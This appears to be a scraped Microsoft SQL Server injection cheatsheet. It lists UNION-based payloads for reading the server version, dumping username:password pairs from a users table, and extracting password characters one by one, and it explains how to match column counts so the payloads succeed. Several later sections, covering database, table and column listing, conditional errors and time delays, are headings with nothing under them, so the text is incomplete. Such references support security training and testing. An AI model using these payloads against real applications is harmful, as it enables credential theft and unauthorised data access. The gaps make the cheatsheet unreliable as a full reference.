Basic Microsoft SQL injection Cheatsheet

Microsoft SQL Injection (MS SQLi)

Retrieving Database version

SELECT @@version

UNION SQLi Context

' UNION SELECT NULL, @@version -- -

Note: In UNION Statement we have to match the number of columns of first select statement so that's why we use one NULL in the payload.

String Concatenation

'string1'+'string2'
SELECT username+password FROM users;

In a UNION SQLi Context

' UNION SELECT NULL,username+":"+password,NULL FROM users -- -

Substring

SELECT SUBSTRING(password,2,1) FROM users 

In the UNION SQLi context

' UNION SELECT SUBSTRING(password,2,1) FROM users -- -

Comments

Database Contents

List All Databases

In UNION MS SQLi

List All Tables

In a UNION MS SQLi context

List All Columns

In UNION MS SQLi

Conditional Errors

In UNION MS SQLi

Time delays

Conditional Time delays

In UNION MS SQLi

Last updated